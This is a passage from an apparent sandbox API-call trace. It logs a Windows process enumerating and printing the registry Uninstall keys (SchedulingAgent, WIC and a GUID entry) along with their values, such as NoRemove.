CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n", cchWideChar=99, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0149.183] GetConsoleOutputCP () returned 0x1b5 [0149.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n", cchWideChar=99, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent\n", lpUsedDefaultChar=0x0) returned 99 [0149.183] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 99 [0149.183] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.183] RegOpenKeyExW (in: hKey=0x58, lpSubKey="SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.183] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.183] GetProcessHeap () returned 0x3c0000 [0149.183] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.183] __iob_func () returned 0x7fefd702a80 [0149.183] _fileno (_File=0x7fefd702ab0) returned 1 [0149.183] _errno () returned 0x204bb0 [0149.183] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.183] _errno () returned 0x204bb0 [0149.183] GetFileType (hFile=0x50) returned 0x1 [0149.183] lstrlenW (lpString="\n") returned 1 [0149.183] GetConsoleOutputCP () returned 0x1b5 [0149.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.183] GetConsoleOutputCP () returned 0x1b5 [0149.183] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.183] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.183] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.184] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.184] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.184] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned 98 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc8) returned 0x3e1a60 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.184] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60) returned 1 [0149.184] GetProcessHeap () returned 0x3c0000 [0149.184] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1a60) returned 0xc8 [0149.184] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60 | out: hHeap=0x3c0000) returned 1 [0149.184] RegCloseKey (hKey=0x5c) returned 0x0 [0149.184] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xe, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.184] __iob_func () returned 0x7fefd702a80 [0149.184] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.184] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n") returned 87 [0149.184] _fileno (_File=0x7fefd702ab0) returned 1 [0149.184] _errno () returned 0x204bb0 [0149.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.184] _errno () returned 0x204bb0 [0149.184] GetFileType (hFile=0x50) returned 0x1 [0149.184] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n") returned 87 [0149.184] GetConsoleOutputCP () returned 0x1b5 [0149.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0149.185] GetConsoleOutputCP () returned 0x1b5 [0149.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n", cchWideChar=87, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n", lpUsedDefaultChar=0x0) returned 87 [0149.185] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 87 [0149.185] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.185] RegOpenKeyExW (in: hKey=0x58, lpSubKey="WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.185] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.185] GetProcessHeap () returned 0x3c0000 [0149.185] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x12) returned 0x3df290 [0149.185] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3df290, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRemove", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.185] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.185] GetProcessHeap () returned 0x3c0000 [0149.185] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.185] GetProcessHeap () returned 0x3c0000 [0149.185] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.185] GetProcessHeap () returned 0x3c0000 [0149.185] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.185] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.185] __iob_func () returned 0x7fefd702a80 [0149.185] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.186] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.186] _fileno (_File=0x7fefd702ab0) returned 1 [0149.186] _errno () returned 0x204bb0 [0149.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.186] _errno () returned 0x204bb0 [0149.186] GetFileType (hFile=0x50) returned 0x1 [0149.186] lstrlenW (lpString=" ") returned 4 [0149.186] GetConsoleOutputCP () returned 0x1b5 [0149.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.186] GetConsoleOutputCP () returned 0x1b5 [0149.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.186] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.186] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.186] lstrlenW (lpString="NoRemove") returned 8 [0149.186] __iob_func () returned 0x7fefd702a80 [0149.186] _fileno (_File=0x7fefd702ab0) returned 1 [0149.186] _errno () returned 0x204bb0 [0149.186] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.186] _errno () returned 0x204bb0 [0149.186] GetFileType (hFile=0x50) returned 0x1 [0149.186] lstrlenW (lpString="NoRemove") returned 8 [0149.186] GetConsoleOutputCP () returned 0x1b5 [0149.186] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.187] GetConsoleOutputCP () returned 0x1b5 [0149.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRemove", lpUsedDefaultChar=0x0) returned 8 [0149.187] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.187] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.187] __iob_func () returned 0x7fefd702a80 [0149.187] _fileno (_File=0x7fefd702ab0) returned 1 [0149.187] _errno () returned 0x204bb0 [0149.187] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.187] _errno () returned 0x204bb0 [0149.187] GetFileType (hFile=0x50) returned 0x1 [0149.187] lstrlenW (lpString=" ") returned 4 [0149.187] GetConsoleOutputCP () returned 0x1b5 [0149.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.187] GetConsoleOutputCP () returned 0x1b5 [0149.187] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.187] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.187] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.188] __iob_func () returned 0x7fefd702a80 [0149.188] _fileno (_File=0x7fefd702ab0) returned 1 [0149.188] _errno () returned 0x204bb0 [0149.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.188] _errno () returned 0x204bb0 [0149.188] GetFileType (hFile=0x50) returned 0x1 [0149.188] lstrlenW (lpString="REG_DWORD") returned 9 [0149.188] GetConsoleOutputCP () returned 0x1b5 [0149.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.188] GetConsoleOutputCP () returned 0x1b5 [0149.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.188] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.188] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.188] __iob_func () returned 0x7fefd702a80 [0149.188] _fileno (_File=0x7fefd702ab0) returned 1 [0149.188] _errno () returned 0x204bb0 [0149.188] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.188] _errno () returned 0x204bb0 [0149.188] GetFileType (hFile=0x50) returned 0x1 [0149.188] lstrlenW (lpString=" ") returned 4 [0149.188] GetConsoleOutputCP () returned 0x1b5 [0149.188] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.188] GetConsoleOutputCP () returned 0x1b5 [0149.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.189] __iob_func () returned 0x7fefd702a80 [0149.189] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.189] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.189] _fileno (_File=0x7fefd702ab0) returned 1 [0149.189] _errno () returned 0x204bb0 [0149.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.189] _errno () returned 0x204bb0 [0149.189] GetFileType (hFile=0x50) returned 0x1 [0149.189] lstrlenW (lpString="0x1") returned 3 [0149.189] GetConsoleOutputCP () returned 0x1b5 [0149.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.189] GetConsoleOutputCP () returned 0x1b5 [0149.189] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.189] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.189] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.189] __iob_func () returned 0x7fefd702a80 [0149.189] _fileno (_File=0x7fefd702ab0) returned 1 [0149.189] _errno () returned 0x204bb0 [0149.189] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.189] _errno () returned 0x204bb0 [0149.189] GetFileType (hFile=0x50) returned 0x1 [0149.189] lstrlenW (lpString="\n") returned 1 [0149.189] GetConsoleOutputCP () returned 0x1b5 [0149.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.190] GetConsoleOutputCP () returned 0x1b5 [0149.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.190] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.190] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.190] GetProcessHeap () returned 0x3c0000 [0149.190] GetProcessHeap () returned 0x3c0000 [0149.190] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.190] GetProcessHeap () returned 0x3c0000 [0149.190] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.190] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.190] __iob_func () returned 0x7fefd702a80 [0149.190] _fileno (_File=0x7fefd702ab0) returned 1 [0149.190] _errno () returned 0x204bb0 [0149.190] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.190] _errno () returned 0x204bb0 [0149.190] GetFileType (hFile=0x50) returned 0x1 [0149.190] lstrlenW (lpString="\n") returned 1 [0149.190] GetConsoleOutputCP () returned 0x1b5 [0149.190] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.190] GetConsoleOutputCP () returned 0x1b5 [0149.191] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.191] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.191] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x12 [0149.191] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.191] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.191] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned 86 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb0) returned 0x3e1a60 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.191] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60) returned 1 [0149.191] GetProcessHeap () returned 0x3c0000 [0149.191] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1a60) returned 0xb0 [0149.191] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1a60 | out: hHeap=0x3c0000) returned 1 [0149.191] RegCloseKey (hKey=0x5c) returned 0x0 [0149.191] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xf, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.191] __iob_func () returned 0x7fefd702a80 [0149.191] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.191] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\n") returned 122 [0149.191] _fileno (_File=0x7fefd702ab0) returned 1 [0149.191] _errno () returned 0x204bb0 [0149.191] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.192] _errno () returned 0x204bb0 [0149.192] GetFileType (hFile=0x50) returned 0x1 [0149.192] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\n") returned 122 [0149.192] GetConsoleOutputCP () returned 0x1b5 [0149.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.192] GetConsoleOutputCP () returned 0x1b5 [0149.192] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}\n", lpUsedDefaultChar=0x0) returned 122 [0149.192] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.192] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.192] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.192] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.192] GetProcessHeap () returned 0x3c0000 [0149.192] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c00 [0149.192] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", 